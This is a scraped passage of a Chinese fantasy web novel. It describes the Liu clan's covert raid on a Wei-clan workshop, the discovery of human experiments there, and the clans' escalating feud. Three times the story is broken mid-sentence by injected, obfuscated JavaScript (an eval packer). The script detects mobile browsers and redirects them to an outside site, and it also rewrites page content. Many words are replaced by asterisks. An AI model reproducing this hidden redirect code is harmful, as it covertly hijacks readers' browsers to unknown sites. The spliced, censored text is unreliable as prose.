他说着,又低头看了眼屏幕,见所有光点依旧是绿色,便又放松下来,从口袋里摸出一块皱巴巴的糕点,掰了一半递给魏大有:“吃点吧,昨天我娘给我带的,桂花糕,还挺甜。” 魏大有接过糕点,咬了一口,却没尝出什么甜味,只觉得心里发闷:“混饭吃?我可不想一辈子就这么混下去!咱们身上流的也是魏家的血,凭什么那些嫡系子弟就能吃香的喝辣的,咱们就得在这破地方熬日子?” 他越说越激动,声音都提高了几分,“你还记得吗?去年咱们申请去商队当护卫,结果被管事一句话就驳回了,说什么‘监控室更需要你们’,我看他就是觉得咱们没本事,怕咱们给魏家丢脸!” 魏全忠连忙拉了拉他的胳膊,示意他小声点:“你小声点!要是被巡逻的队长听见,又要挨骂了。咱们啊,还是别想那些有的没的了,这份工作虽然清闲,但工钱不少,至少能让咱们在长安城里租个好点的院子,不用挤在贫民区。再说了,要是真去了商队,说不定还会遇到异兽或者柳家的人,多危险啊。” “危险?我宁愿去冒险,也不想在这破屋里发霉!”魏大有把剩下的糕点扔在桌上,语气里满是不甘,“你没听说吗?前几天柳家的商队被咱们魏家的人劫了,听说杀了不少人,连柳泽川都差点**!要是我能参与这种事,说不定就能立功,到时候就能调离这监控室了!” 魏全忠没再接话,只是重新把目光投向屏幕,眼神里也多了几分复杂——他又何尝不想往上爬? 只是他比魏大有更清楚自己的实力,与其去外面冒险,不如守着这份安稳。 毕竟,在这异兽肆虐、家族争斗不断的长安城里,能有一份清闲又安全的差事,已经是很多人求之不得的了。 两人就这样有一搭没一搭地聊着,偶尔瞥一眼屏幕,时间在沉闷的空气里缓缓流逝。 他们没注意到,屏幕角落的一个绿色光点,在刚才魏大有激动地挥手时,曾极短暂地闪烁了一下红色,随即又恢复了绿色。 子夜的风从通风口吹进来,带着几分凉意,魏大有打了个寒颤,起身走到窗边,推开一条缝隙往外看——工坊里一片漆黑,只有塔楼顶端亮着一盏孤灯,像一只冰冷的眼睛,注视着周围的一切。 他忍不住嘟囔了一句:“这鬼地方,连只鸟都不愿来……”却不知,此刻正有一道身影,悄无声息地掠过工坊的高墙,朝着那座亮着灯的塔楼,缓缓靠近。 魏大有靠在椅背上,手指在桌沿上胡乱划着,目光扫过监视器屏幕时连半秒都没停留——屏幕上密密麻麻的绿色光点,连续二十多天没出过一次异常,早就让他没了警惕心。 “谁知道上面那群人是不是吃错药了,”他嗤笑一声,声音里满是不耐,“柳家的人被咱们劫了商队,早就吓破胆了,哪还敢来招惹咱们?偏偏要搞什么‘特级警戒’,害得咱们连门都出不去。” 魏全忠揉了揉熬得发红的眼睛,想起之前每到夜班就能找个兄弟替班,自己溜去怡红院找小紫的日子,更是满肚子怨气。 “可不是嘛!以前咱们值夜班,找个人盯着屏幕,还能出去喝两杯、听听曲儿。现在倒好,连换班都得在监控室门**接,一步都不准离开——再这么下去,我都快忘了长安城的月亮长什么样了。” 他越说越激动,伸手拍了下桌子,桌上的茶杯都晃了晃:“他奶奶的腿!怡红院的小紫前阵子还跟我说,等我下次去,给我唱新学的《霓裳曲》。这都快一个月了,指不定早被哪个富家公子哥哄走了,说不定现在正陪着别人喝酒呢!” “你就别想了,”魏大有瞥了他一眼,语气里满是嘲讽。 “就你那点月钱,还想留住小紫?人家可是怡红院的头牌,追她的人能从门口排到西市。我听说前几天赵家的三公子去了,一出手就是你半年的工钱,说不定现在小紫早就把你忘到九霄云外了,早被别人灌成‘泡芙’了。” “草!你能不能说点好听的!”魏全忠瞬间破防,抓起桌上的糕点盒就朝魏大有扔过去。 “你也好不到哪去!上次你说要去赌坊试试手气,结果还不是输得连裤子都快当了,最后还是我借了你五两银子才回来的!” 魏大有接住糕点盒,打开拿出一块塞进嘴里,含糊不清地反驳:“那是我运气不好!要是现在能出去,我肯定能赢回来!都怪上面这群脑残上司,没事搞什么警戒,害得咱们连一点乐子都没有!” 两人你一言我一语地抱怨着,时而互相嘲讽,时而一起骂骂咧咧,完全没注意到监视器屏幕上,靠近工坊后墙的几个绿色光点,正以极慢的速度朝着排水口的方向移动——那是张玉汝安排的柳家小队,正借着夜色和阴影的掩护,悄悄摸了进来。 小队一共五人,都是张玉汝精心挑选的护卫,不仅擅长潜行,还配备了特制的“隐匿符”——这种符纸能暂时屏蔽扫描雷达的的侦测,是柳家专门用来执行秘密任务的道具。 为首的护卫队长,正是之前跟着张玉汝训练过的老陈,他示意身后的人放慢脚步,自己则贴着墙根,一点点靠近排水口。 排水口的铁栅栏早已被张玉汝的分身提前松动,老陈伸手轻轻一掰,栅栏就应声而开,露出一个仅容一人通过的洞口。 他先探头进去,确认里面没有异常,才对身后的人比了个“跟上”的手势,像影子般钻了进去。 其余四人紧随其后,动作轻得连一丝脚步声都没有。 而监控室内,魏大有和魏全忠还在为“怡红院的小紫到底有没有忘了魏全忠”争论不休,偶尔瞥一眼屏幕,也只觉得那些绿色光点还是老样子,完全没发现,有五道身影已经悄无声息地潜入了工坊内部,正朝着塔楼的方向移动。 老陈带着四名护卫钻出排水口时,潮湿的暗道里还残留着铁锈与霉味。 他抬手按了按耳后——那里贴着一小块张玉汝特制的“传音符”,能实时接收张玉汝的指令,而张玉汝的本体,此刻正藏在工坊外三里地的树林里,通过分身的感知,将工坊内的动静尽收眼底。 “西北方向三十步,两名巡逻护卫,中级能力者,正靠在墙角抽烟。”传音符里传来张玉汝沉稳的声音,“用**一击封喉,别惊动其他人。” 老陈眼神一凛,对身后的护卫比了个“分散潜行”的手势。两名护卫立刻猫着腰,借着墙角的阴影摸了过去——那两名魏家护卫正叼着烟,唾沫横飞地抱怨着“警戒什么时候结束”,连身后的脚步声都没察觉。 寒光一闪,两把淬了麻痹药剂的**同时刺入他们的后心,两人连闷哼都没发出,就软倒在地,被护卫拖进了旁边的杂物间。 整个过程不过十秒,干净利落。 按照张玉汝的部署,他们沿着工坊的外墙边缘移动,专挑魏家防御的“死角”——那些监控探头照不到的阴暗角落、巡逻路线的间隙。 沿途遇到的魏家守卫,要么是靠在柱子上打盹的,要么是聚在一起闲聊的,几乎都没什么警惕心。 有个负责看守仓库的魏家子弟,甚至还在做手艺活,直到**抵在喉咙上,才惊得瞳孔骤缩,却连喊出声的机会都没有。 “核心区在塔楼东侧的实验室,门口有两名中级能力者看守,分别擅长大地与火焰。”张玉汝的声音再次传来,“先解决外围的设备间,切断实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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但实验室门口的两名高级能力者却没被牵制,土系能力者的石刺越来越密集,火系能力者的火焰更是几乎要烧到护卫的盾牌。 一名护卫的盾牌被火烤得发烫,手一抖,石刺趁机划破了他的胳膊,鲜血瞬间流了出来。 “撑住!”老陈大喊着,突然发力,一刀劈向火系能力者的手腕——对方没想到他会主动进攻,慌忙后退,火墙出现了一个缺口。 “就是现在!”老陈趁机带着两名护卫冲过缺口,朝着实验室门口跑去。 实验室的门是特制的合金门,一名护卫掏出**包,贴在门上,“轰”的一声巨响,门被炸开一个大洞。 就在他们准备冲进去破坏设备时,塔楼里突然传来一道更强劲的能量波动——是魏家驻守工坊的高级能力者! “你们跑不了了!”他的声音带着威压,一道无形的能量网朝着老陈等人罩了过来,让他们的动作瞬间迟滞。 “立刻撤退,我已经做好接应准备。”张玉汝的声音再次响起,紧接着,一道淡青色的能量刃从墙外飞进来,斩断了那道能量网。 老陈趁机带着人冲进实验室,对着里面的玻璃罐、控制台一阵乱砸——罐子里装着的不明液体流了一地,控制台的屏幕瞬间黑屏。 “撤!”老陈喊了一声,带着剩下的三名护卫朝着排水口跑去。 身后,魏家的护卫已经追了上来,火焰、石刺、箭矢在他们周围炸开,密集的**更是划破了夜空。 等他们钻出排水口时,张玉汝的本体已经在外面等着,手里还提着一个昏迷的魏家护卫——是刚才被分身抓住的,或许能从他嘴里问出些情报。 “快走!”张玉汝说完,带着他们迅速消失在夜色里。 工坊内,魏家成员看着满地的尸体、被炸毁的实验室,脸色铁青。 土系能力者踹了一脚旁边吓得发抖的魏大有:“监控室是怎么看的?!为什么没发现入侵者?!” 魏大有脸色惨白,指着屏幕上还在闪烁的红点,话都说不完整:“我……我们刚才……没注意……” “废物!”魏家的队长怒骂一声,掏出通讯器,对着里面吼道,“立刻通知家主,柳家的人偷袭了城南工坊,实验室被破坏,请求支援!” 夜色里,工坊的警报声依旧凄厉,而张玉汝带着柳家护卫,已经消失在通往长安的小路尽头——这一战,魏家被打了个措手不及,损失惨重。 第 27章 升级 工坊内的混乱还在发酵——魏家护卫的叫喊声、警报的尖啸声、武器碰撞的脆响交织在一起,火光顺着实验室的破洞往外窜,映得走廊里的人影忽明忽暗。 没人注意到,一道淡青色的身影正贴着走廊的阴影,像水流般滑向实验室深处——正是送走柳家护卫后,悄悄折返的张玉汝。 他周身萦绕着一层极淡的能量屏障,这屏障不具备攻击性,却能精准“扭曲”周围的物理信号。 走廊顶的应急灯光照到他身边时,会莫名发生折射,仿佛他所在的位置是一片“视觉盲区”。 地面震动产生的声波传到他脚边,便会被能量吸收,连一丝脚步声都传不出去。 甚至实验室里残存的能量探测仪,屏幕上扫过他所在的区域时,也只会显示“能量平稳,无异常波动”——他把“影响变化”的能力用到了极致,像个透明人般,穿梭在魏家的防御网中。 刚踏入实验室,一股刺鼻的化学药剂味就扑面而来。地上还残留着刚才护卫破坏时洒出的不明液体,泛着诡异的蓝紫色荧光,顺着地面的缝隙缓缓流动。 张玉汝蹲下身,指尖轻轻掠过液体表面,能量瞬间包裹住一小滴——触感冰凉,且带着一种与柳家“幽荧草”相似却更狂暴的异能量,是“暗纹草”的提取物,比他之前在酒馆打探到的信息更危险。 实验室的核心区域没被完全破坏:十几台精密仪器靠墙摆放,屏幕上还闪烁着复杂的数据流,其中一台仪器的显示屏上,赫然标注着“新型能量药剂研发——第37次实验”;实验台中央,放着几个未被打碎的玻璃罐,罐子里浸泡着暗纹草的根茎,根茎上缠绕着淡黑色的能量丝,像是有生命般缓慢蠕动。 张玉汝的目光扫过实验台,很快落在一本摊开的实验记录本上。本子的纸页被火燎得卷了边,却还能看清上面的字迹。 “……暗纹草能量不稳定,需加入‘淬魂液’中和,但淬魂液获取难度极大,魏家长老指示,可从柳家商队截获的‘幽荧草’中提取替代成分……” “……实验体注射后,能力短期提升30%,但副作用明显,精神紊乱率达70%……”“淬魂液?幽荧草替代成分?” 张玉汝眉头微蹙——这说明魏家不仅在模仿柳家的新型药剂,还在尝试用更危险的原料强化效果,甚至可能存在“人体实验”的苗头。 他迅速将记录本撕下来,折叠好塞进怀里,又用能量包裹住一小块暗纹草根茎,收进随身的布袋里。 就在这时,走廊里传来魏家成员的脚步声——是两名负责清点损失的技工,正一边走一边抱怨:“真是邪门了,入侵者怎么能摸到实验室来?监控室那群废物是吃干饭的?” “别管那么多了,赶紧看看核心设备坏没坏,要是‘能量转化炉’被砸了,咱们都得受罚!”张玉汝身形一晃,立刻躲到一台一人高的能量转化炉后面。 那炉体散发着灼热的温度,表面刻着复杂的纹路,正是魏家用来提炼暗纹草能量的核心设备。 他屏住呼吸,将周身的能量屏障收得更紧——两名技工从炉体旁走过时,目光扫过他所在的方向,却像是没看见任何东西,径直走向实验台。 “还好转化炉没坏,不然麻烦大了。”一名技工松了口气,伸手去按转化炉的控制面板,“赶紧记录数据,一会儿队长要来检查。” 张玉汝趁着两人专注记录的间隙,悄悄绕到实验室的侧门——那里通往生产车间,也是他此行的第二个目标。 侧门的电子锁还在运转,屏幕上显示着“权限验证中”,张玉汝指尖弹出一缕能量,顺着锁孔钻进去,瞬间篡改了电子锁的权限识别程序。 “咔嗒”一声轻响,门锁应声而开,没有触发任何警报。 生产车间比实验室更宽敞,数十台流水线设备整齐排列,地上堆放着未开封的暗纹草原料箱,箱子上印着魏家的徽记,还有一行小字:“来源——西域黑风谷”。 车间尽头,有一间封闭的小房间,门上贴着“高危实验区,非授权人员禁止入内”的标识,门缝隙里隐约透出淡红色的光,还夹杂着细微的金属碰撞声。 张玉汝推开门的瞬间,一股混杂着消毒水与血腥味的气息扑面而来,让他下意识攥紧了拳头。 房间里没有复杂的能量仪器,只有六台半人高的金属舱并排摆放,每台舱体都连接着密密麻麻的管线,管线另一端连着墙上的监控屏,屏幕上跳动着心率、血压、能量波动等数据。 还有一行刺眼的标注:“实验体编号07-12,暗纹草药剂注射第5天,能力增幅28%,精神稳定度32%”。 金属舱的玻璃罩是透明的,能清晰看到里面的人——他们穿着单薄的灰色囚服,手腕、脚踝都被金属镣铐锁着,手臂上布满了**。 有的实验体双目紧闭,眉头紧锁,似乎在承受巨大的痛苦;有的则眼神涣散,嘴里喃喃着听不懂的胡话,手指无意识地抓挠着舱壁。 最靠近门口的那台舱体里,是一个看起来只有十五六岁的少年,他的胸口剧烈起伏,脖颈处青筋暴起,显然正处于极度痛苦的状态,监控屏上的“精神稳定度”数字还在不断下降,已经跌到了25%。 “魏家不仅在研发药剂,还在做活体人体实验……”张玉汝的指尖微微发凉,他凑近一台金属舱,仔细观察少年手臂上的**——**周围的皮肤呈现出不正常的青黑色,是暗纹草毒素残留的痕迹。 墙上还挂着一本实验日志,翻开的那一页写着:“实验体来源:长安城外流民、战败的异兽猎人,部分来自秦家‘人力调配’渠道……” “暗纹草药剂需每日注射,虽有副作用,但能快速提升能力,可用于培养临时死士……” 日志里还夹着一张照片,照片上是一群穿着白色实验服的人,围着一台金属舱,其中一个人的侧脸让张玉汝瞳孔骤缩——是魏家的二公子魏明远。 在之前调查魏家相关信息时,张玉汝曾经了解过魏家的主要成员,二公子魏明远是魏家下一任家主的有力竞争者。 就在张玉汝想取下日志和照片时,金属舱突然发出“嘀嘀”的警报声,最里面那台舱体的监控屏上,“心率”数字瞬间归零,屏幕变成了刺眼的红色。 紧接着,房间外传来急促的脚步声:“队长!高危区的警报响了!是不是有入侵者没走干净?” 张玉汝不再犹豫,迅速将实验日志和照片塞进怀里,又用能量破坏了墙上的监控主机——屏幕瞬间黑屏,所有金属舱的警报声也随之停止。 他转身朝着车间后方的通风管道跑去,管道狭窄,却足够他灵活穿梭,途中还能听到外面魏家护卫的叫喊声:“快!把所有出口都封了!别让入侵者跑了!” 最终,他从工坊顶部的排气口钻出——此时天已微亮,东方泛起鱼肚白,工坊内的混乱还未平息,守卫们正举着灯四处搜查,却没人注意到头顶的排气口。 张玉汝落在工坊外的树林里,与之前留下的分身汇合,怀里的实验日志被他紧紧攥着,纸页边缘都被捏得发皱。 他低头看着日志上“实验体来源”那一行字,眼神变得愈发冰冷——魏家为了研发药剂,竟用流民、猎人做活体实验,甚至还和秦家的“人力资源”渠道有关联。 而柳家的新型药剂,会不会也藏着类似的秘密? 之前在云溪镇见到的那些“异常植物”,会不会也是人体实验的副产品? 远处,魏家的警报声还在隐约传来,张玉汝深吸一口气,压下心头的波澜,转身朝着长安的方向走去。 这一夜的发现,比他想象的更残酷,也让他更加确定——雍州四大家族的博弈背后,藏着太多见不得光的黑暗,而他要找的真相,或许就藏在这些黑暗的缝隙里。 城南工坊遇袭的消息,在魏家内部发酵了整整三天。 魏家大宅的议事厅里,檀香燃得再浓,也压不住满室的**味。 魏家家主魏烈坐在首座,玄色锦袍下的肩膀绷得笔直,手指死死扣着檀木扶手,指节泛白如骨,眼底翻涌的怒火几乎要将周遭的空气点燃。 下方,负责工坊事务的魏家长老魏成,头埋得快贴到地面,后背早已被冷汗浸透,连垂在身侧的手都在微微发抖;旁边站着的,是被两名护卫押解过来的魏大有和魏全忠,两人脸色惨白如纸,双腿打颤,连大气都不敢喘一口。 “一群废物!”魏烈猛地一拍桌子,厚重的檀木桌竟发出“咯吱”的呻吟,茶杯里的茶水溅出大半,在桌面上洇出深色的痕迹。 “我魏家养着你们,是让你们看住工坊的安危,不是让你们在监控室喝酒扯皮!现在呢?实验室被砸得稀烂,三具实验体跑了,连记录实验的日志都被人偷了!你们知道这意味着什么吗?” 他的声音陡然拔高,带着宗师级能力者特有的威压,让议事厅里的人都忍不住缩了缩脖子。 “一旦‘人体实验’的事漏出去,赵家会借着‘违规’的由头夺我们的粮道,秦家会趁机吞了西部的矿山,连镇守使那边都要派人来查!到时候,我魏家在雍州就没立足之地了!” 魏成颤颤巍巍地抬起头,声音带着哭腔:“家主,是属下失职……已经派人封了工坊周围三十里地,跑掉的实验体抓回来了两个,剩下一个受了暗纹草的毒,撑不过三天就会精神崩裂。” “从现场的痕迹看,动手的九成是柳家的人——他们用的**、隐匿符,都是柳家独有的样式,” “柳家!!”魏烈咬牙切齿地念出这两个字,指节因为用力而泛出青色。 “柳玉容那个女人,倒是养了个好狗!前阵子劫他们商队,是给他们个教训,没想到他们还敢反扑!” 他顿了顿,眼神骤然变得阴狠,像蛰伏的凶兽盯上猎物:“传我命令:魏大有、魏全忠**,贬去西部矿场做苦役,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过魏家吃了这么大的亏,肯定会报复,咱们得提前做准备。” 柳泽川立刻点头,眼神变得坚定:“姜兄说得是!我已经跟长老申请了,长安所有柳家护卫的训练都交给你,你想怎么练,就怎么安排!药材铺的进货渠道,我也让管事跟你对接,要是魏家敢截胡,咱们也好早做应对。” 他顿了顿,又补充道,“我还把你的功劳报给了我娘,她回信说,等这事了了,就升你做柳家在长安的护卫统领,以后你在长安,不管是人手还是资源,柳家都全力支持你!” 他微微颔首:“多谢公子,也多谢家主信任。” 自此,雍州四大家族的暗斗,彻底升级成了明面上的交锋。 魏家的报复来得又快又狠。 先是截胡了柳家从西域运来的原料——魏明远买通了秦家的运输队,让三车药材在半路“遭遇异兽袭击”,连车带货全部损失。 接着,清溪聚居地突然传出“柳家药剂会让人精神错乱”的谣言,商户们怕惹麻烦,纷纷下架柳家的药,销售额一夜之间大跳水。 最过分的是,魏家调动了十名高级能力者,每天在柳家的药材铺外“巡逻”,故意刁难上门的客人,甚至把柳家西市铺的掌柜打成了重伤,放话“再敢卖柳家的药,下次断的就是手”。 柳家这边,在张玉汝的部署下,也展开了凌厉的反击。 他重新调整了护卫队的训练方案,把“协同御敌”改成了更适合长安城外的“伏击战术”——魏家护卫来刁难时,柳家护卫不硬拼,而是借着地形,分批次袭扰,打了就走,让魏家的人疲于奔命。 针对药材缺口,柳泽川则是在柳玉容的授意下去跟赵家合作,用柳家的低级药剂配方,换赵家药材的优先供应权。 赵家本就忌惮魏家独大,立刻答应了,不仅补上了药材缺口,还多给了两成的优惠。 至于谣言,柳家长老让护卫带着药剂,去清溪聚居地的异兽防御站,免费给守关的士兵使用——士兵们用了药剂,疗伤速度快了一倍,谣言不攻自破,防御站还跟柳家签了半年的长期订单。 双方的对抗越来越激烈,甚至波及到了雍州其他家族。 秦家夹在中间左右两头吃:一边收着魏家的矿山收益,不彻底得罪魏烈;一边又舍不得柳家的运输订单——柳家的药剂在江南、漠北很受欢迎,秦家靠运药能赚不少钱。 他们只能偶尔“失误”,给柳家透点魏家的消息;赵家则明里暗里帮着柳家,偶尔还会“不小心”泄露魏家粮队的路线,让柳家能趁机截胡魏家的粮食补给,算是给魏家“添点堵”。 长安城里的气氛越来越紧张,街头巷尾都在议论柳魏两家的争斗。 有人说魏烈要亲自出手,用宗师级能力踏平柳家的产业;也有人说柳家握有魏家犯罪的证据,迟早要把魏家告到镇守使那里。 第 28章 忘恩 作为点燃柳、魏两大家族对抗战火的关键人物,张玉汝的境遇就像被骤雨打落的花枝,前一刻还浸在阳光当中舒展,下一刻便在风雨中摇摇欲坠,起落间满是不由己的波折。 此前张玉汝带队突袭魏家工坊的行动,正是受了柳泽川的请求——柳泽川是张玉汝在柳家的直属上司,这次能成功带回实验日志,也算了却了柳泽川的一桩心事。 那日张玉汝揣着用防水油布包裹的实验日志,踩着晨露赶回柳家据点时,柳泽川早已在正厅门口等候。 柳泽川见他身影出现,快步迎上来,双手紧紧攥住他的手腕,指腹因用力而微微泛白,连声道谢的话语里带着难掩的激动:“姜离,你真的做到了!这日志能帮咱们摸清魏家的底细,你立了大功!” 日光透过廊檐的雕花,落在柳泽川眼底,那里面满是对功臣的真切认可,语气里的热切几乎要溢出来。 张玉汝只是淡淡点头,将日志递过去,神色里没有半分邀功的急切,仿佛只是完成了一件寻常任务。 柳家驻守长安的长老柳宏远,特意差人来请张玉汝去自己西街的府邸议事。 那府邸朱门高启,庭院里两株百年银杏的叶片在风里簌簌作响,像是在为他的到来低声庆贺。议事厅堂内,暖炉燃着上等银丝炭,松烟香漫在空气里,显得格外雅致。 柳宏远坐在主位上,手里摩挲着玉扳指,目光落在张玉汝身上时,满是赞许:“姜离,你潜入魏家工坊,既带回日志,又没惊动对方护卫,有勇有谋,是柳家的得力干将!” 说罢,他让人取来紫檀木长盒,打开时,一柄短刃静静躺在其中——刃身泛着冷冽青芒,刀柄镶嵌的高级能量晶石在灯光下流转淡紫光晕,价值不言而喻。 柳宏远亲手递过短刃,指尖都带着几分郑重:“这柄‘青冥刃’赏你,是对你功劳的嘉奖。” 张玉汝接过短刃,指尖触到冰凉的晶石,依旧是那副平淡模样,只轻声道了句“谢长老”,没有多余的神情。 那段时日,张玉汝在柳家护卫里的声望一日比一日高,这份敬重全写在旁人脸上。 之前跟着他突袭魏家工坊外围据点的护卫们,个个揣着盼头——能借着这份功劳升职加薪,从普通护卫升到小队长,月钱多拿几成,是他们眼下最迫切的心愿。 见了张玉汝,他们都会恭恭敬敬停下脚步,微微躬身喊一声“姜统领”,语气里的羡慕与敬重藏都藏不住,连腰杆都比平时挺得更直些。 跟其他护卫聊天时,他们总忍不住提一句“上次跟姜统领一起做事的时候,他那身手,真是厉害”,说这话时,眼底的光彩格外明亮,那股子与有荣焉的得意劲儿。 张玉汝面对这些恭敬与夸赞,始终没什么波澜,依旧按部就班处理护卫队的事,仿佛周遭的热络都与自己无关。 没过多久,柳家主家传来嘉奖令。云纹纸文书盖着主家朱红大印,由专人快马送到长安。 文书里写明,参与行动的护卫每人每月多加五成月钱,还特意提及张玉汝,承诺给他“优先调配资源”的权限——护卫队的精良兵器、外出任务的车马粮草,只要他需要,都能先从库房挑选。拿到嘉奖令时,张玉汝只是扫了一眼,便收进怀里,脸上没什么喜悦之色。 倒是旁边的护卫们凑过来,盯着嘉奖令上的文字,忍不住低声议论:“还是姜统领厉害,主家都特意提了他”“有优先调配资源的权限,以后咱们跟着姜统领做事,也能沾光”,语气里满是向往。 可谁也没料到,这份风光也只有那短短的几天。 随着魏家反扑的消息传来,一切迅速烟消云散。 魏家先是捣毁柳家城东的两个药材铺,接着夜间突袭物资中转站,抢走大批运往边境的能量晶石。 柳家上下陷入慌乱,原本对张玉汝的赞许声,渐渐变成隐晦的指责——有人说他带回的日志不够完整,漏了魏家防御部署;有人说他行事张扬,早被魏家盯上,才引来报复。 往日围着他的护卫们,也渐渐疏远,再见面时,恭敬的“姜统领”变成客气疏离的“姜先生”,眼神躲躲闪闪,再没了之前的热络。 在雍州地界,四大家族的排名早已是公开的定论——赵家稳居首位,秦家紧随其后,魏家位列第三,柳家则排在最末。 这四家各有根基,撑起了雍州大半的产业版图,只是彼此的优势领域,却有着天壤之别。 赵家能稳坐第一的位置,靠的是遍布雍州的农业版图。从城南一望无际的万亩良田,到城北依坡而建的梯田果园,再到河滨纵横交错的鱼塘牧场,几乎大半个雍州百姓的口粮供给,都与赵家脱不开关系。 每年秋收时节,赵家粮仓里的新粮堆得像小山般高,不仅能轻松满足族内需求,还会按例向官府缴纳巨额粮食税,甚至在荒年主动开仓放粮救济灾民。 这份“掌握雍州饭碗”的底气,让赵家即便没有强横的武力,也能在四大家族中稳执牛耳,成为最不可撼动的势力。 排在第二位的秦家,则走了一条资源双驱动的路。秦家的核心产业是采矿与大型机械制造——雍州境内储量最为丰富的矿产,几乎全由秦家掌控。 城里修建城墙用的重型起重机、疏通河道的大型挖泥船,乃至各家族护卫队常用的**机,十有**都出自秦家的工坊。 更让秦家底气十足的,是其掌握的庞大人力资源,无论是哪个家族都需要人力资源的补充,轻易不会有哪个家族去得罪秦家。 至于排在第三位的魏家,虽说综合势力不及赵、秦两家,却靠着独步雍州的“武力规模”站稳了脚跟。 魏家最核心的优势,便是拥有庞大数量的能力者。 放在往日,魏家的武力再强,也得受赵、秦两家的制衡——赵家靠粮食供给牵制魏家,秦家则能用资源手段压制魏家锋芒,再加上长安城其他家族的联合约束,魏家就算有庞大的能力者队伍,也不敢轻易打破规矩。 可这一切平衡,都在益州防线被异兽突破后彻底被打破。 当无穷无尽的异兽越过益州、涌入雍州地界时,赵家的农田被践踏、秦家的矿场遭袭击、百姓四处逃亡,整个雍州陷入恐慌。 也就是从这时起,魏家的“能力者规模”优势瞬间凸显。 他们一次次冲杀在异兽群中,不仅护住了自家的工坊,还帮赵家守住了几处重要粮仓,甚至协助秦家夺回了被异兽占据的铁矿。 渐渐地,魏家在雍州的话语权越来越重:赵家需要魏家的能力者保护农田,秦家虽有高阶能力者,却需专注于机械制造与矿石开采,也得依赖魏家抵御异兽袭扰。往日里对魏家的制衡,渐渐变成了“睁一只眼闭一只眼”。 真正让魏家彻底“松绑”的,是一个月前天人李家牵头的突袭行动。 天人李家是长安千年世家,那次行动中,李家联合其他家族斩杀异兽首领、将阵线反推至长安四百里外,而魏家派出了近两百名能力者,搭配最新式的破阵**负责开路,立下了汗马功劳。 也正因这份功绩,魏家从天人李家那里间接拿到了“特权”——可以对柳家的产业进行打击报复,且不会受到太大限制。 更关键的是,长安镇守府对魏家的态度也彻底转变。 往日里,魏家若敢派能力者骚扰柳家商铺,镇守府会立刻派卫队调解;可现在,就算魏家的能力者砸了柳家的药材铺、抢走绸缎庄的货物,镇守府的人来了也只是象征性地问两句,便以“家族**、自行协商”为由离开。 有一次,柳家的几名能力者试图阻拦魏家抢占仓库,结果魏家直接派来二十余名能力者,释放能量威压将柳家护卫震伤。 柳家管事去镇守府告状,得到的回复却是“柳家护卫先动手挑衅,魏家只是自保”,轻描淡写便揭过了此事。 柳家心里清楚,若是公平竞争,自己或许还能靠着药材生意与赵、秦两家维持合作,勉强与魏家周旋。 可现在,“裁判”明显偏向了魏家。 有好几次,柳家与魏家争夺城外的药材种植地,柳家靠着合理报价眼看就要拿下,结果魏家直接派来五十余名能力者,将柳家的人强行赶了出去;柳家去镇守府申诉,得到的只有“两家各退一步、勿再起冲突”的敷衍答复。 反观魏家,不仅抢占柳家的产业,还派能力者拦截柳家的商队,甚至故意破坏柳家的药材田,镇守府却始终视而不见。 在魏家的步步紧逼与镇守府的偏袒下,柳家的怒火终究没能烧向外部,反倒在家族内部找到了宣泄口——原本因带回魏家实验日志而受嘉奖的柳泽川一行人,一夜之间成了众矢之的。 最先发难的是柳家旁系的几位长老。 在家族议事会上,他们拍着桌子直言:“若不是当初非要去招惹魏家,抢那本劳什子日志,咱们何至于落到这般田地?” 话里话外,都把柳家的损失归咎于当初的突袭行动。而作为行动核心的张玉汝,因是“外人”身份,更是成了众矢之的。 有旁系子弟私下议论:“一个外乡人,凭什么领着咱们柳家的人去冒险?现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424514|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,魏家的报复全冲咱们来,他倒好,之前还拿着主家的嘉奖,真是笑话!” 甚至有人在张玉汝路过时,故意撞翻他手里的茶盏,嘴里还嘟囔着“灾星”,态度恶劣得不加掩饰。 柳家主家对此始终保持着沉默。 他们既没有公开指责张玉汝等人犯错——毕竟半个月前,主家刚用云纹文书嘉奖过这些“功臣”,此刻翻脸撤回嘉奖,无疑是当众打自己的脸,有损主家威严。 可当魏家借故扣押张玉汝负责护送的药材商队,或是柳家内部有人故意克扣张玉汝及其下属的月钱时,主家又始终装聋作哑,连一句维护的话都没有。 明眼人都看得出来,主家是想借着旁人的手,悄悄“处理”掉这个麻烦,既不用承担“出尔反尔”的骂名,又能平息家族内部的怨气。 那些曾跟着张玉汝出生入死的护卫,心态更是发生了彻底的反转。 当初突袭魏家工坊成功后,他们个个都把张玉汝当成恩人,见了面一口一个“姜统领”,凑在一起时总说“多亏了姜统领,咱们才有机会立功”。 可如今,眼看升职加薪成了泡影,反倒要跟着受打压——有的护卫被调去看守偏远的仓库,有的则被克扣了大半月钱,连家人都跟着受苦。 他们不敢把怒气撒在魏家身上,更不敢埋怨柳家主家,最后竟把所有不满都算到了张玉汝头上。 有次在护卫队的饭堂里,一个之前总跟着张玉汝的护卫,故意把碗重重摔在桌上,对着旁人嚷嚷:“当初要不是他非要逞能,咱们能落到这步田地?现在他倒好,还拿着主家给的‘优先调配资源’权限,咱们却要跟着遭罪!” 这话一出,不少护卫都跟着附和,看向张玉汝的眼神里,满是敌视与怨怼,仿佛张玉汝真的是害他们陷入困境的罪魁祸首。 